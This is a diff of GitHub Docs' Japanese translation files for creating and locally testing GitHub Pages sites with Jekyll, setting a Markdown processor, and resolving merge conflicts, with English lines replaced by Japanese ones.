 {% data reusables.pages.jekyll-install-troubleshooting %}
 
-## Creating a repository for your site
+## サイト用にリポジトリを作成する
 
 {% data reusables.pages.new-or-existing-repo %}
 
@@ -35,67 +35,67 @@ Before you can use Jekyll to create a {% data variables.product.prodname_pages %
 {% data reusables.pages.create-repo-name %}
 {% data reusables.repositories.choose-repo-visibility %}
 
-## Creating your site
+## サイトを作成する
 
 {% data reusables.pages.must-have-repo-first %}
 
 {% data reusables.pages.private_pages_are_public_warning %}
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. If you don't already have a local copy of your repository, navigate to the location where you want to store your site's source files, replacing _PARENT-FOLDER_ with the folder you want to contain the folder for your repository.
+1. リポジトリのローカルコピーがまだない場合、サイトのソースファイルを保存したい場所に移動します。_PARENT-FOLDER_ は、リポジトリを保存したいフォルダの名前に置き換えてください。
   ```shell
   $ cd <em>PARENT-FOLDER</em>
   ```
-1. If you haven't already, initialize a local Git repository, replacing _REPOSITORY-NAME_ with the name of your repository.
+1. ローカルの Git リポジトリをまだ初期化していない場合は、初期化します。 _REPOSITORY-NAME_ は、リポジトリの名前に置き換えてください。
   ```shell
   $ git init <em>REPOSITORY-NAME</em>
   > Initialized empty Git repository in /Users/octocat/my-site/.git/
   # Creates a new folder on your computer, initialized as a Git repository
   ```
-  4. Change directories to the repository.
+  4. ディレクトリをリポジトリに変更します。
   ```shell
   $ cd <em>REPOSITORY-NAME</em>
   # Changes the working directory
   ```
 {% data reusables.pages.decide-publishing-source %}
 {% data reusables.pages.navigate-publishing-source %}
-  For example, if you chose to publish your site from the `docs` folder on the default branch, create and change directories to the `docs` folder.
+  たとえば、デフォルトブランチの `docs` フォルダからサイトを公開することを選択した場合は、ディレクトリを作成して `docs ` フォルダに変更します。
  ```shell
  $ mkdir docs
  # Creates a new folder called docs
  $ cd docs
  ```
- If you chose to publish your site from the `gh-pages` branch, create and checkout the `gh-pages` branch.
+ サイトを `gh-pages` ブランチから公開する場合には、`gh-pages` ブランチを作成してチェックアウトします。
  ```shell
  $ git checkout --orphan gh-pages
  # Creates a new branch, with no history or contents, called gh-pages and switches to the gh-pages branch
  ```
-1. To create a new Jekyll site, use the `jekyll new` command:
+1. 新しい Jekyll サイトを作成するには、`jekyll new` コマンドを使用します。
    ```shell
    $ jekyll new --skip-bundle .
    # Creates a Jekyll site in the current directory
    ```
-1. Open the Gemfile that Jekyll created.
-1. Add "#" to the beginning of the line that starts with `gem "jekyll"` to comment out this line.
-1. Add the `github-pages` gem by editing the line starting with `# gem "github-pages"`. Change this line to:
+1. Jekyll が作成した Gemfile を開きます。
+1. `gem "jekyll"` で始まる行の先頭に「#」を追加して行をコメントアウトします。
+1. `# gem "github-pages"` で始まる行を編集して `github-pages` を追加します。 行を次のように変更します。
 
    ```shell
    gem "github-pages", "~> GITHUB-PAGES-VERSION", group: :jekyll_plugins
    ```
 
-   Replace _GITHUB-PAGES-VERSION_ with the latest supported version of the `github-pages` gem. You can find this version here: "[Dependency versions](https://pages.github.com/versions/)."
+   _GITHUB-PAGES-VERSION_ をサポートされている最新バージョンの `github-pages` gem に置き換えます。 このバージョンについては、「[依存関係バージョン](https://pages.github.com/versions/)」を参照してください。
 
-   The correct version Jekyll will be installed as a dependency of the `github-pages` gem.
-1. Save and close the Gemfile.
+   正しいバージョンの Jekyll は、`github-pages` gem の依存関係としてインストールされます。
+1. Gemfile を保存して閉じます。
 1. From the command line, run `bundle install`.
-1. Optionally, make any necessary edits to the `_config.yml` file. This is required for relative paths when the repository is hosted in a subdirectory.  For more information, see "[Splitting a subfolder out into a new repository](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)."
+1. あるいは、`_config.yml`ファイルに必要な編集を加えてください。 これは、リポジトリがサブディレクトリでホストされている場合に相対パスに対して必要です。  詳しい情報については「[サブフォルダを分割して新しいリポジトリにする](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)」を参照してください。
    ```yml
-   domain: my-site.github.io       # if you want to force HTTPS, specify the domain without the http at the start, e.g. example.com
-   url: https://my-site.github.io  # the base hostname and protocol for your site, e.g. http://example.com
-   baseurl: /REPOSITORY-NAME/      # place folder name if the site is served in a subfolder
+   domain: my-site.github.io       # HTTPSを強制したいなら、ドメインの先頭でhttpを指定しない。例: example.com
+   url: https://my-site.github.io  # サイトのベースのホスト名とプロトコル。例: http://example.com
+   baseurl: /REPOSITORY-NAME/      # サイトがサブフォルダで提供されるならフォルダ名を置く
   ```
-1. Optionally, test your site locally. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)."
-1. Add and commit your work.
+1. 必要に応じて、サイトをローカルでテストします。 詳しい情報については、「[Jekyll を使用して {% data variables.product.prodname_pages %} サイトをローカルでテストする](/articles/testing-your-github-pages-site-locally-with-jekyll)」を参照してください。
+1. 作業内容を追加してコミットしてください。
 ```shell
 git add .
 git commit -m 'Initial GitHub pages site with Jekyll'
@@ -108,7 +108,7 @@ $ git remote add origin https://github.com/<em>USER</em>/<em>REPOSITORY</em>.git
 $ git remote add origin https://<em>HOSTNAME</em>/<em>USER</em>/<em>REPOSITORY</em>.git
 {% endif %}
 ```
-1. Push the repository to {% data variables.product.product_name %}, replacing _BRANCH_ with the name of the branch you're working on.
+1. リポジトリを {% data variables.product.product_name %} にプッシュします。 _BRANCH_ は、作業を行なっているブランチの名前に置き換えてください。
    ```shell
    $ git push -u origin <em>BRANCH</em>
    ```
@@ -123,8 +123,8 @@ $ git remote add origin https://<em>HOSTNAME</em>/<em>USER</em>/<em>REPOSITORY</
 
 {% data reusables.pages.admin-must-push %}
 
-## Next steps
+## 次のステップ
 
-To add a new page or post to your site, see "[Adding content to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-content-to-your-github-pages-site-using-jekyll)."
+サイトに新しいページを追加したり、投稿したりするには、「[Jekyll を使用して {% data variables.product.prodname_pages %} サイトにコンテンツを追加する](/articles/adding-content-to-your-github-pages-site-using-jekyll)」を参照してください。
 
-{% data reusables.pages.add-jekyll-theme %} For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+{% data reusables.pages.add-jekyll-theme %}詳しい情報については、「[Jekyll を使用して {% data variables.product.prodname_pages %} サイトにテーマを追加する](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)」を参照してください。
diff --git a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
index 19c92d48da..1350862ae7 100644
--- a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
+++ b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a GitHub Pages site with Jekyll
-intro: 'You can use Jekyll, a popular static site generator, to further customize your {% data variables.product.prodname_pages %} site.'
+title: Jekyll を使用して GitHub Pages サイトを設定する
+intro: '静的サイトジェネレータとして広く利用されている Jekyll を使用して、{% data variables.product.prodname_pages %} サイトをさらにカスタマイズすることができます。'
 redirect_from:
   - /articles/using-jekyll-with-pages
   - /articles/using-jekyll-as-a-static-site-generator-with-github-pages
@@ -23,6 +23,6 @@ children:
   - /adding-a-theme-to-your-github-pages-site-using-jekyll
   - /about-jekyll-build-errors-for-github-pages-sites
   - /troubleshooting-jekyll-build-errors-for-github-pages-sites
-shortTitle: Set up site with Jekyll
+shortTitle: Jekyllでのサイトのセットアップ
 ---
 
diff --git a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
index baf0068f4c..682c5a984d 100644
--- a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
+++ b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Setting a Markdown processor for your GitHub Pages site using Jekyll
-intro: 'You can choose a Markdown processor to determine how Markdown is rendered on your {% data variables.product.prodname_pages %} site.'
+title: Jekyll を使用して、GitHub Pages サイトの Markdown プロセッサを設定する
+intro: 'Markdown プロセッサを選択して、{% data variables.product.prodname_pages %} サイトで Markdown をどのようにレンダリングするかを決めることができます。'
 redirect_from:
   - /articles/migrating-your-pages-site-from-maruku
   - /articles/updating-your-markdown-processor-to-kramdown
@@ -14,26 +14,25 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Set Markdown processor
+shortTitle: Markdownプロセッサの設定
 ---
 
-People with write permissions for a repository can set the Markdown processor for a {% data variables.product.prodname_pages %} site.
+リポジトリへの書き込み権限があるユーザは、{% data variables.product.prodname_pages %} サイトに対して Markdown プロセッサを設定できます。
 
-{% data variables.product.prodname_pages %} supports two Markdown processors: [kramdown](http://kramdown.gettalong.org/) and {% data variables.product.prodname_dotcom %}'s own Markdown processor, which is used to render [{% data variables.product.prodname_dotcom %} Flavored Markdown (GFM)](https://github.github.com/gfm/) throughout {% data variables.product.product_name %}. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github)."
+{% data variables.product.prodname_pages %} supports two Markdown processors: [kramdown](http://kramdown.gettalong.org/) and {% data variables.product.prodname_dotcom %}'s own Markdown processor, which is used to render [{% data variables.product.prodname_dotcom %} Flavored Markdown (GFM)](https://github.github.com/gfm/) throughout {% data variables.product.product_name %}. 詳しい情報については、「[{% data variables.product.prodname_dotcom %}での執筆とフォーマットについて](/articles/about-writing-and-formatting-on-github)」を参照してください。
 
 You can use {% data variables.product.prodname_dotcom %} Flavored Markdown with either processor, but only our GFM processor will always match the results you see on {% data variables.product.product_name %}.
 
 {% data reusables.pages.navigate-site-repo %}
-2. In your repository, browse to the *_config.yml* file.
+2. リポジトリの *_config.yml* ファイルを開きます。
 {% data reusables.repositories.edit-file %}
-4. Find the line that starts with `markdown:` and change the value to `kramdown` or `GFM`.
-  ![Markdown setting in config.yml](/assets/images/help/pages/config-markdown-value.png)
+4. `markdown` で始まる行を見つけ、値を `kramdown` または `GFM`に変更します。 ![config.yml での Markdown 設定](/assets/images/help/pages/config-markdown-value.png)
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_new_file %}
 
-## Further reading
+## 参考リンク
 
-- [kramdown Documentation](https://kramdown.gettalong.org/documentation.html)
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
+- [kramdown のドキュメント](https://kramdown.gettalong.org/documentation.html)
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown の仕様](https://github.github.com/gfm/)
diff --git a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
index 0468b92cc8..0614d8ad8e 100644
--- a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
+++ b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Testing your GitHub Pages site locally with Jekyll
-intro: 'You can build your {% data variables.product.prodname_pages %} site locally to preview and test changes to your site.'
+title: Jekyll を使用して GitHub Pages サイトをローカルでテストする
+intro: '{% data variables.product.prodname_pages %} サイトをローカルでビルドすると、サイトに対する変更のプレビューとテストを行うことができます。'
 redirect_from:
   - /articles/setting-up-your-pages-site-locally-with-jekyll
   - /articles/setting-up-your-github-pages-site-locally-with-jekyll
@@ -14,27 +14,27 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Test site locally with Jekyll
+shortTitle: Jekyllでのサイトのローカルテスト
 ---
 
-Anyone with read permissions for a repository can test a {% data variables.product.prodname_pages %} site locally.
+リポジトリへの書き込み権限があるユーザは、{% data variables.product.prodname_pages %} サイトをローカルでテストできます。
 
-## Prerequisites
+## 必要な環境
 
-Before you can use Jekyll to test a site, you must:
-  - Install [Jekyll](https://jekyllrb.com/docs/installation/).
-  - Create a Jekyll site. For more information, see "[Creating a {% data variables.product.prodname_pages %} site with Jekyll](/articles/creating-a-github-pages-site-with-jekyll)."
+Jekyll を使用してサイトをテストする前に、以下の操作が必要です。
+  - [Jekyll](https://jekyllrb.com/docs/installation/) をインストールする。
+  - Jekyll サイトを作成する。 詳しい情報については、「[Jekyll を使用して {% data variables.product.prodname_pages %} サイトを作成する](/articles/creating-a-github-pages-site-with-jekyll)」を参照してください。
 
 {% data reusables.pages.recommend-bundler %}
 
 {% data reusables.pages.jekyll-install-troubleshooting %}
 
-## Building your site locally
+## サイトをローカルでビルドする
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.pages.navigate-publishing-source %}
-3. Run `bundle install`.
-3. Run your Jekyll site locally.
+3. `bundle install` を実行します。
+3. ローカルで Jekyll サイトを実行します.
   ```shell
   $ bundle exec jekyll serve
   > Configuration file: /Users/octocat/my-site/_config.yml
@@ -48,17 +48,17 @@ Before you can use Jekyll to test a site, you must:
   >    Server address: http://127.0.0.1:4000/
   >  Server running... press ctrl-c to stop.
   ```
-3. To preview your site, in your web browser, navigate to `http://localhost:4000`.
+3. サイトをプレビューするには、ウェブブラウザで `http://localhost:4000` を開きます。
 
-## Updating the {% data variables.product.prodname_pages %} gem
+## {% data variables.product.prodname_pages %} gem の更新
 
-Jekyll is an active open source project that is updated frequently. If the `github-pages` gem on your computer is out of date with the `github-pages` gem on the {% data variables.product.prodname_pages %} server, your site may look different when built locally than when published on {% data variables.product.product_name %}. To avoid this, regularly update the `github-pages` gem on your computer.
+Jekyll は、頻繁に更新されているアクティブなオープンソースプロジェクトです。 お使いのコンピュータ上の `github-pages` gem が {% data variables.product.prodname_pages %} サーバー上の `github-pages` gem と比較して古くなっている場合は、ローカルでビルドしたときと {% data variables.product.product_name %} に公開したときで、サイトの見え方が異なることがあります。 こうならないように、お使いのコンピュータ上の `github-pages` gem は常にアップデートしておきましょう。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Update the `github-pages` gem.
-    - If you installed Bundler, run `bundle update github-pages`.
-    - If you don't have Bundler installed, run `gem update github-pages`.
+2. `github-pages` gem をアップデートします。
+    - Bundler をインストールしている場合は、`bundle update github-pages` を実行します。
+    - Bundler をインストールしていない場合は、`gem update github-pages` を実行します。
 
-## Further reading
+## 参考リンク
 
-- [{% data variables.product.prodname_pages %}](http://jekyllrb.com/docs/github-pages/) in the Jekyll documentation
+- Jekyll ドキュメンテーションの [{% data variables.product.prodname_pages %}](http://jekyllrb.com/docs/github-pages/)
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
index c9264010b1..1b5e679315 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
@@ -1,6 +1,6 @@
 ---
-title: Addressing merge conflicts
-intro: 'If your changes have merge conflicts with the base branch, you must address the merge conflicts before you can merge your pull request''s changes.'
+title: マージコンフリクトへの対処
+intro: あなたの変更とベースブランチとの間にマージコンフリクトが発生している場合、プルリクエストの変更をマージする前にマージコンフリクトに対処しなければなりません。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts
   - /articles/addressing-merge-conflicts
@@ -18,3 +18,4 @@ children:
   - /resolving-a-merge-conflict-using-the-command-line
 shortTitle: Address merge conflicts
 ---
+
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
index c2529a41aa..6ffd016cd8 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Resolving a merge conflict on GitHub
-intro: 'You can resolve simple merge conflicts that involve competing line changes on GitHub, using the conflict editor.'
+title: GitHub でのマージ コンフリクトを解決する
+intro: コンフリクト エディターを使用すれば、GitHub で行の変更が競合している単純なマージ コンフリクトを解決できます。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github
   - /articles/resolving-a-merge-conflict-on-github
@@ -16,49 +16,45 @@ topics:
   - Pull requests
 shortTitle: Resolve merge conflicts
 ---
-You can only resolve merge conflicts on {% data variables.product.product_name %} that are caused by competing line changes, such as when people make different changes to the same line of the same file on different branches in your Git repository. For all other types of merge conflicts, you must resolve the conflict locally on the command line. For more information, see "[Resolving a merge conflict using the command line](/articles/resolving-a-merge-conflict-using-the-command-line/)."
+
+{% data variables.product.product_name %}で解決できるマージコンフリクトは、Git リポジトリの別々のブランチで、同じファイルの同じ行に異なる変更がなされた場合など、互いに矛盾する行変更を原因とするもののみです。 その他すべての種類のマージ コンフリクトについては、コマンド ラインでコンフリクトをローカルに解決する必要があります。 詳細は「[コマンド ラインを使用してマージコンフリクトを解決する](/articles/resolving-a-merge-conflict-using-the-command-line)」を参照してください。
 
 {% ifversion ghes or ghae %}
-If a site administrator disables the merge conflict editor for pull requests between repositories, you cannot use the conflict editor on {% data variables.product.product_name %} and must resolve merge conflicts on the command line. For example, if the merge conflict editor is disabled, you cannot use it on a pull request between a fork and upstream repository.
+サイトの管理者がリポジトリ間の Pull Request に対してマージ コンフリクト エディターを無効にしている場合、{% data variables.product.product_name %} ではコンフリクト エディターを使用できず、コマンドラインでマージ コンフリクトを解決する必要があります。 たとえば、マージ コンフリクト エディターが無効な場合、フォークと上流リポジトリの間の Pull Request ではそれを使用できません。
 {% endif %}
 
 {% warning %}
 
-**Warning:** When you resolve a merge conflict on {% data variables.product.product_name %},  the entire [base branch](/github/getting-started-with-github/github-glossary#base-branch) of your pull request is merged into the [head branch](/github/getting-started-with-github/github-glossary#head-branch). Make sure you really want to commit to this branch. If the head branch is the default branch of your repository, you'll be given the option of creating a new branch to serve as the head branch for your pull request. If the head branch is protected you won't be able to merge your conflict resolution into it, so you'll be prompted to create a new head branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
+**警告:** {% data variables.product.product_name %} でマージコンフリクトを解決すると、プルリクエストの[ベースブランチ](/github/getting-started-with-github/github-glossary#base-branch)全体が [head ブランチ](/github/getting-started-with-github/github-glossary#head-branch)にマージされます このブランチにコミットすることが間違いでないことを確認してください。 head ブランチがリポジトリのデフォルトブランチである場合、プルリクエストの head ブランチとして機能する新しいブランチを作成するオプションが表示されます。 head ブランチが保護されている場合、コンフリクトの解決をマージすることができないため、新しい head ブランチを作成するように求められます。 詳しい情報については[保護されたブランチについて](/github/administering-a-repository/about-protected-branches)を参照してください。
 
 {% endwarning %}
 
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request with a merge conflict that you'd like to resolve.
-1. Near the bottom of your pull request, click **Resolve conflicts**.
-![Resolve merge conflicts button](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png)
+1. [Pull Requests] リストで、解決するマージ コンフリクトを起こしている Pull Request をクリックします。
+1. 指定した Pull Request の下部周辺で、[**Resolve conflicts**] をクリックします。 ![[Resolve merge conflicts] ボタン](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png)
 
  {% tip %}
 
- **Tip:** If the **Resolve conflicts** button is deactivated, your pull request's merge conflict is too complex to resolve on {% data variables.product.product_name %}{% ifversion ghes or ghae %} or the site administrator has disabled the conflict editor for pull requests between repositories{% endif %}. You must resolve the merge conflict using an alternative Git client, or by using Git on the command line. For more information see "[Resolving a merge conflict using the command line](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)."
+ **ヒント:** [**Resolve conflicts**] ボタンが作動しない場合、指定した Pull Request のマージ コンフリクトは {% data variables.product.product_name %} で解決するには複雑すぎ{% ifversion ghes or ghae %} るか、サイトの管理者がリポジトリ間の Pull Request に対してコンフリクト エディターを無効にしてい{% endif %}ます。 別の Git クライアントを使用するか、コマンドラインで Git を使用して、マージのコンフリクトを解決する必要があります。 詳細は「[コマンド ラインを使用してマージコンフリクトを解決する](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)」を参照してください。
 
  {% endtip %}
 {% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %}
- ![View merge conflict example with conflict markers](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png)
-1. If you have more than one merge conflict in your file, scroll down to the next set of conflict markers and repeat steps four and five to resolve your merge conflict.
-1. Once you've resolved all the conflicts in the file, click **Mark as resolved**.
- ![Click mark as resolved button](/assets/images/help/pull_requests/mark-as-resolved-button.png)
-1. If you have more than one file with a conflict, select the next file you want to edit on the left side of the page under "conflicting files" and repeat steps four through seven until you've resolved all of your pull request's merge conflicts.
- ![Select next conflicting file if applicable](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png)
-1. Once you've resolved all your merge conflicts, click **Commit merge**. This merges the entire base branch into your head branch.
- ![Resolve merge conflicts button](/assets/images/help/pull_requests/merge-conflict-commit-changes.png)
-1. If prompted, review the branch that you are committing to.
+ ![コンフリクトマーカー付きのマージコンフリクトの例を表示する](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png)
+1. ファイルに複数のマージ コンフリクトがある場合は、次の一連のコンフリクト マーカーまで下にスクロールし、ステップ 4 と 5 を繰り返してマージ コンフリクトを解決します。
+1. ファイル内のコンフリクトをすべて解決したら、[**Mark as resolved**] をクリックします。 ![[Mark as resolved] ボタンをクリックする](/assets/images/help/pull_requests/mark-as-resolved-button.png)
+1. コンフリクトしているファイルが複数ある場合は、[conflicting files] の下のページの左側で編集する次のファイルを選択し、Pull Request のマージ コンフリクトをすべて解決するまでステップ 4 から 7 を繰り返します。 ![コンフリクトしている次のファイルを選択する（該当する場合）](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png)
+1. マージ コンフリクトをすべて解決したら、[**Commit merge**] をクリックします。 これにより、Base ブランチ全体が Head ブランチにマージされます。 ![[Resolve merge conflicts] ボタン](/assets/images/help/pull_requests/merge-conflict-commit-changes.png)
+1. プロンプトに従い、コミット先のブランチをレビューします。
 
-   If the head branch is the default branch of the repository, you can choose either to update this branch with the changes you made to resolve the conflict, or to create a new branch and use this as the head branch of the pull request.
- ![Prompt to review the branch that will be updated](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png)
+   head ブランチがリポジトリのデフォルトブランチである場合、コンフリクトを解決するために加えた変更でこのブランチを更新するか、新しいブランチを作成してこれをプルリクエストのヘッドブランチとして使用するかを選択できます。 ![更新するブランチの確認を求める](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png)
 
-   If you choose to create a new branch, enter a name for the branch.
+   新しいブランチを作成する場合は、ブランチの名前を入力します。
 
-   If the head branch of your pull request is protected you must create a new branch. You won't get the option to update the protected branch.
+   プルリクエストの head ブランチが保護されている場合は、新しいブランチを作成する必要があります。 保護されたブランチを更新するオプションはありません。
 
-   Click **Create branch and update my pull request** or **I understand, continue updating _BRANCH_**. The button text corresponds to the action you are performing.
-1. To merge your pull request, click **Merge pull request**. For more information about other pull request merge options, see "[Merging a pull request](/articles/merging-a-pull-request/)."
+   [**Create branch and update my pull request**] または [**I understand, continue updating _BRANCH_**] をクリックします。 ボタンテキストは、実行中のアクションに対応しています。
+1. Pull Request をマージするには、[**Merge pull request**] をクリックします。 Pull Request のマージ オプションの詳細については、「 [Pull Request をマージする](/articles/merging-a-pull-request/)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
+- [プルリクエストのマージについて](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
index 7354246bea..b3c7fa484e 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
@@ -1,6 +1,6 @@
 ---
-title: Resolving a merge conflict using the command line
-intro: You can resolve merge conflicts using the command line and a text editor.
+title: コマンド ラインを使用してマージ コンフリクトを解決する
+intro: コマンド ラインとテキスト エディターを使用することで、マージ コンフリクトを解決できます。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line
   - /articles/resolving-a-merge-conflict-from-the-command-line
@@ -16,26 +16,27 @@ topics:
   - Pull requests
 shortTitle: Resolve merge conflicts in Git
 ---
-Merge conflicts occur when competing changes are made to the same line of a file, or when one person edits a file and another person deletes the same file. For more information, see "[About merge conflicts](/articles/about-merge-conflicts/)."
+
+マージコンフリクトは、競合している変更がファイルの同じ行に行われるとき、またはある人があるファイルを編集し別の人が同じファイルを削除すると発生します。 詳細は「[マージコンフリクトについて](/articles/about-merge-conflicts/)」を参照してください。
 
 {% tip %}
 
-**Tip:** You can use the conflict editor on {% data variables.product.product_name %} to resolve competing line change merge conflicts between branches that are part of a pull request. For more information, see "[Resolving a merge conflict on GitHub](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)."
+**ヒント:** {% data variables.product.product_name %} でコンフリクト エディターを使用することで、Pull Request の一部であるブランチの間で競合している行変更のマージ コンフリクトを解消できます。 詳細については、「[GitHub でマージコンフリクトを解決する](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)」を参照してください。
 
 {% endtip %}
 
-## Competing line change merge conflicts
+## 競合している行変更のマージ コンフリクト
 
-To resolve a merge conflict caused by competing line changes, you must choose which changes to incorporate from the different branches in a new commit.
+競合している行変更により発生するマージ コンフリクトを解決するには、新しいコミットにどの変更を組み込むかをいくつかの別のブランチから選択する必要があります。
 
-For example, if you and another person both edited the file _styleguide.md_ on the same lines in different branches of the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches.
+たとえば、あなたともう一人が両方とも、同じ Git リポジトリの別のブランチにあるファイル _styleguide.md_ で同じ行を編集した場合、これらのブランチをマージしようとするとマージ コンフリクト エラーが発生します。 これらのブランチをマージする前に、新たなコミットでこのマージ コンフリクトを解決する必要があります。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate into the local Git repository that has the merge conflict.
+2. マージ コンフリクトが発生しているローカルの Git リポジトリに移動します。
   ```shell
   cd <em>REPOSITORY-NAME</em>
   ```
-3. Generate a list of the files affected by the merge conflict. In this example, the file *styleguide.md* has a merge conflict.
+3. マージ コンフリクトの影響を受けるファイルのリストを生成します。 この例では、ファイル *styleguide.md* にマージコンフリクトが発生しています。
   ```shell
   $ git status
   > # On branch branch-b
@@ -49,8 +50,8 @@ For example, if you and another person both edited the file _styleguide.md_ on t
   > #
   > no changes added to commit (use "git add" and/or "git commit -a")
   ```
-4. Open your favorite text editor, such as [Atom](https://atom.io/), and navigate to the file that has merge conflicts.
-5. To see the beginning of the merge conflict in your file, search the file for the conflict marker `<<<<<<<`. When you open the file in your text editor, you'll see the changes from the HEAD or base branch after the line `<<<<<<< HEAD`. Next, you'll see `=======`, which divides your changes from the changes in the other branch, followed by `>>>>>>> BRANCH-NAME`. In this example, one person wrote "open an issue" in the base or HEAD branch and another person wrote "ask your question in IRC" in the compare branch or `branch-a`.
+4. [Atom](https://atom.io/) などのお気に入りのテキスト エディターを開き、マージ コンフリクトが発生しているファイルに移動します。
+5. ファイル内でマージ コンフリクトの始まりを確認するには、ファイル内のコンフリクト マーカー `<<<<<<<` を検索します。 テキストエディタでファイルを開くと、`<<<<<<< HEAD` 行の後に HEAD ブランチまたはベースブランチからの変更が見えます。 次に、`=======` が見えます。これは、自分の変更と他のブランチの変更を区別するもので、その後に `>>>>>>> BRANCH-NAME` が続きます。 この例では、ある人がベースまたは HEAD ブランチで「open an issue」と書き込み、別の人が compare ブランチまたは `branch-a` に「ask your question in IRC」と書き込みました。
 
     ```
     If you have questions, please
@@ -60,34 +61,34 @@ For example, if you and another person both edited the file _styleguide.md_ on t
     ask your question in IRC.
     >>>>>>> branch-a
     ```
-{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} In this example, both changes are incorporated into the final merge:
+{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %}この例では、両方の変更が最終的なマージに取り込まれます。
 
